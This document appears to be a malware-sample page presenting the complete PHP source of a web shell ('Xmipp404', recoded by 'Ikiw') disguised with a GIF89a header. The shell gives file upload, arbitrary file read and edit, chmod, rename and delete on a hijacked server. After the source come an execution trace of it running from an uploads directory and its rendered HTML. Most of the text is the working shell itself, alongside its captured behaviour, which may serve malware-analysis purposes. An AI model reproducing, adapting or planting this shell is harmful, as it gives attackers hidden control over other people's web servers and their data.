Jump to:
Screenshot
Attributes
Environment
GIF89a;
<?php
//Xmipp404
//Redesign By Ikiw
//Recoded by Ikiw
set_time_limit(0);
error_reporting(0);
if (get_magic_quotes_gpc()) {
foreach ($_POST as $key => $value) {
$_POST[$key] = stripslashes($value);
}
}
echo "<!doctype html>\r\n<html>\r\n<head>\r\n<title> </title>\r\n</head>";
?>
<style>
@font-face {
font-family: 'Comic Sans MS';
font-style: normal;
font-weight: 400;
src: local('Comic Sans MS'), local('ComicSansMS'), url(http://fonts.gstatic.com/l/font?kit=3oir0CAJ0QJ5h5-A3AP8rRSrmRvs-bRaaQbSAUyiv7A&skey=a4ba60ff9fc73cf8&v=v8) format('truetype');
}
body {
background: #000000;line-height: 1;color: #fff;font-family: Comic Sans MS ;
}
table, th, td {
border-collapse:collapse;
background: transparent;
font-family: Comic Sans MS ;
font-size: 13px;
}
input, textarea { font-family: Comic Sans MS ; }
.table_home, .th_home, .td_home { color:BLUE;
border: 1px solid BLUE;
}
th {
padding: 10px;
}
.td_home { padding: 7px; }
select {font-family: Comic Sans MS }
a {color:white}
textarea { width: 100%;height: 400px; }
</style>
<?php
echo '</head>
<body><h1><center><p align="center"><b><font face="Times New Roman" color="red" size="9">Ikiw <font color="white">Tamvan</font></font></center></h1>
<tr><td>
<font color="green"><center>' . php_uname() . '</center></font><br>';
if (isset($_GET['path'])) {
$path = $_GET['path'];
} else {
$path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
if ($pat == '' && $id == 0) {
$a = true;
echo "<font color=green><center>\$ rooted>> : <a href=\"?path=/\">/</a>";
continue;
}
if ($pat == '') {
continue;
}
echo "<a href=\"?path=";
for ($i = 0; $i <= $id; $i++) {
echo "{$paths[$i]}";
if ($i != $id) {
echo "/";
}
}
echo '">' . $pat . '</a>/';
}
echo "</font></center></td></tr><tr><td><br><center>";
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
echo "<font color=\"green\">Upload Sukses</font><br />";
} else {
echo "<font color=\"red\">Upload Gagal</font><br />";
}
}
echo "</center><center><form enctype=\"multipart/form-data\" method=\"POST\"><font color=\"black\"><input style=\"background:silver;font-family: Comic Sans MS \" type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"upload\" />\r\n</form></center>\r\n</td></tr>";
if (isset($_GET['filesrc'])) {
echo "<tr><td><center>Current File : ";
echo $_GET['filesrc'];
echo "</center></tr></td></table><br />";
echo ' <textarea style="width: 100%;height: 400px;" readonly> ' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea>';
} elseif (isset($_GET['option']) && $_GET['opt'] != 'delete') {
echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
//Chmod
if ($_GET['opt'] == 'chmod') {
if (isset($_POST['perm'])) {
if (chmod($_POST['path'], $_POST['perm'])) {
echo "<font color=\"green\">Chmod Sukses</font><br />";
} else {
echo "<font color=\"red\">Chmod Gagal</font><br />";
}
}
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "{$hell}/{$yeah}";
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($patc)), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
} elseif ($_GET['opt'] == 'btw') {
$cwd = getcwd();
echo '<form action="?option&path=' . $cwd . '&opt=delete&type=buat" method="POST">
New Name : <input name="name" type="text" size="20" value="Folder" />
<input type="hidden" name="path" value="' . $cwd . '">
<input type="hidden" name="opt" value="delete">
<input type="submit" value="Go" />
</form>';
} elseif ($_GET['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
echo "<font color=\"green\">Ganti Nama Sukses </font><br />";
} else {
echo "<font color=\"red\">Ganti Nama Gagal </font><br />";
}
$_POST['name'] = $_POST['newname'];
}
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "{$hell}/{$yeah}";
$new = $_POST['newname'];
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $new . '" />
<input type="hidden" name="path" value="' . $patc . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
} elseif ($_GET['opt'] == 'baru') {
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "{$hell}/{$yeah}";
$new = $_POST['newname'];
$azz = $_POST['path'];
$newz = "{$azz}/{$new}";
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo '<font color="green">Buat File Sukses [ ' . $new . ' ]</font><br />';
} else {
echo "<font color=\"red\">Buat File Gagal</font><br />";
}
fclose($fp);
}
echo '<form method="POST"> Name : <input name="ngaran1" type="text" size="20" value="' . $new . '" /><input type="submit" name="ngaran" value="Create"/></form><br> ';
$ho = $_POST['ngaran1'];
if (isset($_POST['ngaran'])) {
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($patc)) . '</textarea><br />
<input type="hidden" name="path" value="' . $hell . '/' . $ho . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
} elseif ($_GET['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo "<font color=\"green\">Ubah File Sukes </font><br />";
} else {
echo "<font color=\"red\">Ubah File Gagal </font><br />";
}
fclose($fp);
}
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "{$hell}/{$yeah}";
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($patc)) . '</textarea><br />
<input type="hidden" name="path" value="' . $patc . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo "</center>";
} else {
echo "</table><br /><center>";
//Delete dir and file
if (isset($_GET['option']) && $_GET['opt'] == 'delete') {
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "{$hell}/{$yeah}";
//Delete dir
if ($_GET['type'] == 'dir') {
if (rmdir($patc)) {
echo "<font color=\"green\">Hapus File Sukses</font><br />";
} else {
echo "<font color=\"red#\">Hapus File Gagal </font><br />";
}
}
//buat folder
if ($_GET['type'] == 'buat') {
$haaa = $_POST['path'];
$heee = $_POST['name'];
$hooo = "{$haaa}/{$heee}";
$new = $haaa . '/' . htmlspecialchars($heee);
if (!mkdir($new)) {
echo "<font color=\"red\">Buat Folder Gagal</font><br />";
} else {
echo "<font color=\"green\">Buat Folder Sukses</font><br />";
}
} elseif ($_GET['type'] == 'file') {
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "{$hell}/{$yeah}";
if (unlink($patc)) {
echo "<font color=\"green\">Delete File Done</font><br />";
} else {
echo "<font color=\"red#\">Delete File Error </font><br />";
}
}
}
echo "</center>";
$scandir = scandir($path);
$pa = getcwd();
echo ' <table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<th class=th_home style="background:silver;color:black;"><center>Nama Berkas</center></th>
<th class=th_home style="background:silver;color:black;" ><center>Ukuran</center></th>
<th class=th_home style="background:silver;color:black;" ><center>Izin</center></th>
<th class=th_home style="background:silver;color:black;" ><center>Pengaturan</center></th>
</tr> <tr>
<td class=td_home>..</td><td class=td_home align=center>NONE</td> <td class=td_home align=center>LINK</td> <td class=td_home align=center> <a href="?option&path=' . $pa . '&opt=baru&name=new.php">+ File Baru</a> | <a href="?option&path=' . $pa . '&opt=btw&type=dir">+ Dir Baru</a> </td></tr>
';
foreach ($scandir as $dir) {
if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
continue;
}
echo "\r\n<tr>\r\n<td class=td_home> <img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp" . "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?path={$path}/{$dir}\">{$dir}</a></td>\r\n<td class=td_home ><center>DIR</center></td>\r\n<td class=td_home ><center>";
if (is_writable("{$path}/{$dir}")) {
echo "<font color=\"green\">";
} elseif (!is_readable("{$path}/{$dir}")) {
echo "<font color=\"red\">";
}
echo perms("{$path}/{$dir}");
if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
echo "</font>";
}
echo "</center></td>\r\n<td class=td_home ><center>\r\n<a href=\"?option&path={$path}&opt=rename&type=dir&name={$dir}\">Ganti Nama</a> <a href=\"?option&path={$path}&opt=delete&type=dir&name={$dir}\">Hapus</a> <a href=\"?option&path={$path}&opt=chmod&type=dir&name={$dir}\">Chmod</a>\r\n\r\n</center></td>\r\n</tr>";
}
echo "<br>";
foreach ($scandir as $file) {
if (!is_file("{$path}/{$file}")) {
continue;
}
$size = filesize("{$path}/{$file}") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size .= ' KB';
}
echo "<tr>\r\n<td class=td_home > <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href=\"?filesrc={$path}/{$file}&path={$path}\">{$file}</a></td>\r\n<td class=td_home><center>" . $size . "</center></td>\r\n<td class=td_home><center>";
if (is_writable("{$path}/{$file}")) {
echo "<font color=\"green\">";
} elseif (!is_readable("{$path}/{$file}")) {
echo "<font color=\"red\">";
}
echo perms("{$path}/{$file}");
if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
echo "</font>";
}
echo "</center></td>\r\n<td class=td_home><center>\r\n<a href=\"?option&path={$path}&opt=edit&type=file&name={$file}\">Ubah</a> <a href=\"?option&path={$path}&opt=rename&type=file&name={$file}&path={$path}\">Ganti Nama</a> <a href=\"?option&path={$path}&opt=delete&type=file&name={$file}\">Hapus</a> <a href=\"?option&path={$path}&opt=chmod&type=file&name={$file}\">Chmod</a>\r\n</center></td>\r\n</tr>";
}
echo "</table>\r\n</div>";
}
echo "<br><center> Idiot BlackHat<br></></b></body>\r\n</html>";
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xc000) == 0xc000) {
// Socket
$info = 's';
} elseif (($perms & 0xa000) == 0xa000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= $perms & 0x100 ? 'r' : '-';
$info .= $perms & 0x80 ? 'w' : '-';
$info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
// Group
$info .= $perms & 0x20 ? 'r' : '-';
$info .= $perms & 0x10 ? 'w' : '-';
$info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
// World
$info .= $perms & 0x4 ? 'r' : '-';
$info .= $perms & 0x2 ? 'w' : '-';
$info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
return $info;
}
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:53:48.870813]
1 0 1 0.000158 393512
1 3 0 0.000516 463936 {main} 1 /var/www/html/uploads/0.phtml 0 0
2 4 0 0.000534 463936 set_time_limit 0 /var/www/html/uploads/0.phtml 8 1 0
2 4 1 0.000552 464000
2 4 R FALSE
2 5 0 0.000566 463968 error_reporting 0 /var/www/html/uploads/0.phtml 9 1 0
2 5 1 0.000580 464008
2 5 R 22527
2 6 0 0.000593 463968 get_magic_quotes_gpc 0 /var/www/html/uploads/0.phtml 11 0
2 6 1 0.000605 463968
2 6 R FALSE
2 7 0 0.000619 463968 php_uname 0 /var/www/html/uploads/0.phtml 61 0
2 7 1 0.000632 464080
2 7 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2 8 0 0.000652 463968 getcwd 0 /var/www/html/uploads/0.phtml 68 0
2 8 1 0.000665 464016
2 8 R '/var/www/html/uploads'
1 A /var/www/html/uploads/0.phtml 68 $path = '/var/www/html/uploads'
2 9 0 0.000692 464016 str_replace 0 /var/www/html/uploads/0.phtml 71 3 '\\' '/' '/var/www/html/uploads'
2 9 1 0.000707 464112
2 9 R '/var/www/html/uploads'
1 A /var/www/html/uploads/0.phtml 71 $path = '/var/www/html/uploads'
2 10 0 0.000731 464016 explode 0 /var/www/html/uploads/0.phtml 72 2 '/' '/var/www/html/uploads'
2 10 1 0.000745 464592
2 10 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1 A /var/www/html/uploads/0.phtml 72 $paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1 A /var/www/html/uploads/0.phtml 74 $id = 0
1 A /var/www/html/uploads/0.phtml 76 $a = TRUE
1 A /var/www/html/uploads/0.phtml 74 $id = 1
1 A /var/www/html/uploads/0.phtml 82 $i = 0
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 74 $id = 2
1 A /var/www/html/uploads/0.phtml 82 $i = 0
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 74 $id = 3
1 A /var/www/html/uploads/0.phtml 82 $i = 0
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 74 $id = 4
1 A /var/www/html/uploads/0.phtml 82 $i = 0
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 82 $i++
1 A /var/www/html/uploads/0.phtml 82 $i++
2 11 0 0.000975 464520 scandir 0 /var/www/html/uploads/0.phtml 263 1 '/var/www/html/uploads'
2 11 1 0.001007 465136
2 11 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => '0.phtml', 4 => 'data', 5 => 'prepend.php']
1 A /var/www/html/uploads/0.phtml 263 $scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => '0.phtml', 4 => 'data', 5 => 'prepend.php']
2 12 0 0.001048 465104 getcwd 0 /var/www/html/uploads/0.phtml 264 0
2 12 1 0.001060 465152
2 12 R '/var/www/html/uploads'
1 A /var/www/html/uploads/0.phtml 264 $pa = '/var/www/html/uploads'
2 13 0 0.001158 465200 is_dir 0 /var/www/html/uploads/0.phtml 276 1 '/var/www/html/uploads/.'
2 13 1 0.001175 465264
2 13 R TRUE
2 14 0 0.001190 465232 is_dir 0 /var/www/html/uploads/0.phtml 276 1 '/var/www/html/uploads/..'
2 14 1 0.001203 465280
2 14 R TRUE
2 15 0 0.001217 465240 is_dir 0 /var/www/html/uploads/0.phtml 276 1 '/var/www/html/uploads/.htaccess'
2 15 1 0.001232 465280
2 15 R FALSE
2 16 0 0.001246 465240 is_dir 0 /var/www/html/uploads/0.phtml 276 1 '/var/www/html/uploads/0.phtml'
2 16 1 0.001259 465280
2 16 R FALSE
2 17 0 0.001272 465240 is_dir 0 /var/www/html/uploads/0.phtml 276 1 '/var/www/html/uploads/data'
2 17 1 0.001286 465280
2 17 R TRUE
2 18 0 0.001299 465240 is_writable 0 /var/www/html/uploads/0.phtml 282 1 '/var/www/html/uploads/data'
2 18 1 0.001316 465280
2 18 R TRUE
2 19 0 0.001330 465240 perms 1 /var/www/html/uploads/0.phtml 284 1 '/var/www/html/uploads/data'
3 20 0 0.001343 465240 fileperms 0 /var/www/html/uploads/0.phtml 325 1 '/var/www/html/uploads/data'
3 20 1 0.001355 465280
3 20 R 16895
2 A /var/www/html/uploads/0.phtml 325 $perms = 16895
2 A /var/www/html/uploads/0.phtml 341 $info = 'd'
2 A /var/www/html/uploads/0.phtml 354 $info .= 'r'
2 A /var/www/html/uploads/0.phtml 355 $info .= 'w'
2 A /var/www/html/uploads/0.phtml 358 $info .= 'x'
2 A /var/www/html/uploads/0.phtml 361 $info .= 'r'
2 A /var/www/html/uploads/0.phtml 362 $info .= 'w'
2 A /var/www/html/uploads/0.phtml 365 $info .= 'x'
2 A /var/www/html/uploads/0.phtml 368 $info .= 'r'
2 A /var/www/html/uploads/0.phtml 369 $info .= 'w'
2 A /var/www/html/uploads/0.phtml 372 $info .= 'x'
2 19 1 0.001480 465280
2 19 R 'drwxrwxrwx'
2 21 0 0.001494 465240 is_writable 0 /var/www/html/uploads/0.phtml 285 1 '/var/www/html/uploads/data'
2 21 1 0.001509 465280
2 21 R TRUE
2 22 0 0.001523 465248 is_dir 0 /var/www/html/uploads/0.phtml 276 1 '/var/www/html/uploads/prepend.php'
2 22 1 0.001538 465296
2 22 R FALSE
2 23 0 0.001552 465240 is_file 0 /var/www/html/uploads/0.phtml 296 1 '/var/www/html/uploads/.'
2 23 1 0.001565 465264
2 23 R FALSE
2 24 0 0.001578 465232 is_file 0 /var/www/html/uploads/0.phtml 296 1 '/var/www/html/uploads/..'
2 24 1 0.001591 465280
2 24 R FALSE
2 25 0 0.001604 465240 is_file 0 /var/www/html/uploads/0.phtml 296 1 '/var/www/html/uploads/.htaccess'
2 25 1 0.001618 465280
2 25 R TRUE
2 26 0 0.001630 465240 filesize 0 /var/www/html/uploads/0.phtml 297 1 '/var/www/html/uploads/.htaccess'
2 26 1 0.001643 465280
2 26 R 64
1 A /var/www/html/uploads/0.phtml 297 $size = 0.0625
2 27 0 0.001666 465184 round 0 /var/www/html/uploads/0.phtml 298 2 0.0625 3
2 27 1 0.001680 465256
2 27 R 0.063
1 A /var/www/html/uploads/0.phtml 298 $size = 0.063
1 A /var/www/html/uploads/0.phtml 302 $size = '0.063 KB'
2 28 0 0.001721 465392 is_writable 0 /var/www/html/uploads/0.phtml 309 1 '/var/www/html/uploads/.htaccess'
2 28 1 0.001737 465432
2 28 R FALSE
2 29 0 0.001750 465392 is_readable 0 /var/www/html/uploads/0.phtml 310 1 '/var/www/html/uploads/.htaccess'
2 29 1 0.001764 465432
2 29 R TRUE
2 30 0 0.001777 465392 perms 1 /var/www/html/uploads/0.phtml 311 1 '/var/www/html/uploads/.htaccess'
3 31 0 0.001789 465392 fileperms 0 /var/www/html/uploads/0.phtml 325 1 '/var/www/html/uploads/.htaccess'
3 31 1 0.001802 465432
3 31 R 33188
2 A /var/www/html/uploads/0.phtml 325 $perms = 33188
2 A /var/www/html/uploads/0.phtml 335 $info = '-'
2 A /var/www/html/uploads/0.phtml 354 $info .= 'r'
2 A /var/www/html/uploads/0.phtml 355 $info .= 'w'
2 A /var/www/html/uploads/0.phtml 358 $info .= '-'
2 A /var/www/html/uploads/0.phtml 361 $info .= 'r'
2 A /var/www/html/uploads/0.phtml 362 $info .= '-'
2 A /var/www/html/uploads/0.phtml 365 $info .= '-'
2 A /var/www/html/uploads/0.phtml 368 $info .= 'r'
2 A /var/www/html/uploads/0.phtml 369 $info .= '-'
2 A /var/www/html/uploads/0.phtml 372 $info .= '-'
2 30 1 0.001916 465432
2 30 R '-rw-r--r--'
2 32 0 0.001930 465392 is_writable 0 /var/www/html/uploads/0.phtml 312 1 '/var/www/html/uploads/.htaccess'
2 32 1 0.001945 465432
2 32 R FALSE
2 33 0 0.001958 465392 is_readable 0 /var/www/html/uploads/0.phtml 312 1 '/var/www/html/uploads/.htaccess'
2 33 1 0.001972 465432
2 33 R TRUE
2 34 0 0.001986 465392 is_file 0 /var/www/html/uploads/0.phtml 296 1 '/var/www/html/uploads/0.phtml'
2 34 1 0.002000 465432
2 34 R TRUE
2 35 0 0.002012 465392 filesize 0 /var/www/html/uploads/0.phtml 297 1 '/var/www/html/uploads/0.phtml'
2 35 1 0.002024 465432
2 35 R 12225
1 A /var/www/html/uploads/0.phtml 297 $size = 11.9384765625
2 36 0 0.002047 465296 round 0 /var/www/html/uploads/0.phtml 298 2 11.9384765625 3
2 36 1 0.002060 465368
2 36 R 11.938
1 A /var/www/html/uploads/0.phtml 298 $size = 11.938
1 A /var/www/html/uploads/0.phtml 302 $size = '11.938 KB'
2 37 0 0.002095 465392 is_writable 0 /var/www/html/uploads/0.phtml 309 1 '/var/www/html/uploads/0.phtml'
2 37 1 0.002109 465432
2 37 R FALSE
2 38 0 0.002122 465392 is_readable 0 /var/www/html/uploads/0.phtml 310 1 '/var/www/html/uploads/0.phtml'
2 38 1 0.002135 465432
2 38 R TRUE
2 39 0 0.002148 465392 perms 1 /var/www/html/uploads/0.phtml 311 1 '/var/www/html/uploads/0.phtml'
3 40 0 0.002164 465392 fileperms 0 /var/www/html/uploads/0.phtml 325 1 '/var/www/html/uploads/0.phtml'
3 40 1 0.002176 465432
3 40 R 33204
2 A /var/www/html/uploads/0.phtml 325 $perms = 33204
2 A /var/www/html/uploads/0.phtml 335 $info = '-'
2 A /var/www/html/uploads/0.phtml 354 $info .= 'r'
2 A /var/www/html/uploads/0.phtml 355 $info .= 'w'
2 A /var/www/html/uploads/0.phtml 358 $info .= '-'
2 A /var/www/html/uploads/0.phtml 361 $info .= 'r'
2 A /var/www/html/uploads/0.phtml 362 $info .= 'w'
2 A /var/www/html/uploads/0.phtml 365 $info .= '-'
2 A /var/www/html/uploads/0.phtml 368 $info .= 'r'
2 A /var/www/html/uploads/0.phtml 369 $info .= '-'
2 A /var/www/html/uploads/0.phtml 372 $info .= '-'
2 39 1 0.002290 465432
2 39 R '-rw-rw-r--'
2 41 0 0.002303 465392 is_writable 0 /var/www/html/uploads/0.phtml 312 1 '/var/www/html/uploads/0.phtml'
2 41 1 0.002317 465432
2 41 R FALSE
2 42 0 0.002330 465392 is_readable 0 /var/www/html/uploads/0.phtml 312 1 '/var/www/html/uploads/0.phtml'
2 42 1 0.002343 465432
2 42 R TRUE
2 43 0 0.002357 465392 is_file 0 /var/www/html/uploads/0.phtml 296 1 '/var/www/html/uploads/data'
2 43 1 0.002370 465432
2 43 R FALSE
2 44 0 0.002383 465400 is_file 0 /var/www/html/uploads/0.phtml 296 1 '/var/www/html/uploads/prepend.php'
2 44 1 0.002398 465448
2 44 R TRUE
2 45 0 0.002410 465408 filesize 0 /var/www/html/uploads/0.phtml 297 1 '/var/www/html/uploads/prepend.php'
2 45 1 0.002424 465448
2 45 R 57
1 A /var/www/html/uploads/0.phtml 297 $size = 0.0556640625
2 46 0 0.002447 465304 round 0 /var/www/html/uploads/0.phtml 298 2 0.0556640625 3
2 46 1 0.002459 465376
2 46 R 0.056
1 A /var/www/html/uploads/0.phtml 298 $size = 0.056
1 A /var/www/html/uploads/0.phtml 302 $size = '0.056 KB'
2 47 0 0.002495 465408 is_writable 0 /var/www/html/uploads/0.phtml 309 1 '/var/www/html/uploads/prepend.php'
2 47 1 0.002510 465448
2 47 R FALSE
2 48 0 0.002523 465408 is_readable 0 /var/www/html/uploads/0.phtml 310 1 '/var/www/html/uploads/prepend.php'
2 48 1 0.002537 465448
2 48 R TRUE
2 49 0 0.002550 465408 perms 1 /var/www/html/uploads/0.phtml 311 1 '/var/www/html/uploads/prepend.php'
3 50 0 0.002563 465408 fileperms 0 /var/www/html/uploads/0.phtml 325 1 '/var/www/html/uploads/prepend.php'
3 50 1 0.002576 465448
3 50 R 33261
2 A /var/www/html/uploads/0.phtml 325 $perms = 33261
2 A /var/www/html/uploads/0.phtml 335 $info = '-'
2 A /var/www/html/uploads/0.phtml 354 $info .= 'r'
2 A /var/www/html/uploads/0.phtml 355 $info .= 'w'
2 A /var/www/html/uploads/0.phtml 358 $info .= 'x'
2 A /var/www/html/uploads/0.phtml 361 $info .= 'r'
2 A /var/www/html/uploads/0.phtml 362 $info .= '-'
2 A /var/www/html/uploads/0.phtml 365 $info .= 'x'
2 A /var/www/html/uploads/0.phtml 368 $info .= 'r'
2 A /var/www/html/uploads/0.phtml 369 $info .= '-'
2 A /var/www/html/uploads/0.phtml 372 $info .= 'x'
2 49 1 0.002690 465448
2 49 R '-rwxr-xr-x'
2 51 0 0.002714 465408 is_writable 0 /var/www/html/uploads/0.phtml 312 1 '/var/www/html/uploads/prepend.php'
2 51 1 0.002730 465448
2 51 R FALSE
2 52 0 0.002743 465408 is_readable 0 /var/www/html/uploads/0.phtml 312 1 '/var/www/html/uploads/prepend.php'
2 52 1 0.002757 465448
2 52 R TRUE
1 3 1 0.002772 465344
0.002911 326264
TRACE END [2023-02-13 01:53:48.873596]
<html><head></head><body>GIF89a;
<title> </title>
<style>
@font-face {
font-family: 'Comic Sans MS';
font-style: normal;
font-weight: 400;
src: local('Comic Sans MS'), local('ComicSansMS'), url(http://fonts.gstatic.com/l/font?kit=3oir0CAJ0QJ5h5-A3AP8rRSrmRvs-bRaaQbSAUyiv7A&skey=a4ba60ff9fc73cf8&v=v8) format('truetype');
}
body {
background: #000000;line-height: 1;color: #fff;font-family: Comic Sans MS ;
}
table, th, td {
border-collapse:collapse;
background: transparent;
font-family: Comic Sans MS ;
font-size: 13px;
}
input, textarea { font-family: Comic Sans MS ; }
.table_home, .th_home, .td_home { color:BLUE;
border: 1px solid BLUE;
}
th {
padding: 10px;
}
.td_home { padding: 7px; }
select {font-family: Comic Sans MS }
a {color:white}
textarea { width: 100%;height: 400px; }
</style>
<h1><center><p align="center"><b><font face="Times New Roman" color="red" size="9">Ikiw <font color="white">Tamvan</font></font></b></p></center></h1><b>
<font color="green"><center>Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</center></font><br><font color="green"></font><center><font color="green">$ rooted>> : <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</font></center><br><center></center><center><form enctype="multipart/form-data" method="POST"><font color="black"><input style="background:silver;font-family: Comic Sans MS " type="file" name="file">
<input type="submit" value="upload">
</font></form></center><font color="black">
<br><center></center> <br><table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr>
<th class="th_home" style="background:silver;color:black;"><center>Nama Berkas</center></th>
<th class="th_home" style="background:silver;color:black;"><center>Ukuran</center></th>
<th class="th_home" style="background:silver;color:black;"><center>Izin</center></th>
<th class="th_home" style="background:silver;color:black;"><center>Pengaturan</center></th>
</tr> <tr>
<td class="td_home">..</td><td class="td_home" align="center">NONE</td> <td class="td_home" align="center">LINK</td> <td class="td_home" align="center"> <a href="?option&path=/var/www/html&opt=baru&name=new.php">+ File Baru</a> | <a href="?option&path=/var/www/html&opt=btw&type=dir">+ Dir Baru</a> </td></tr>
<tr>
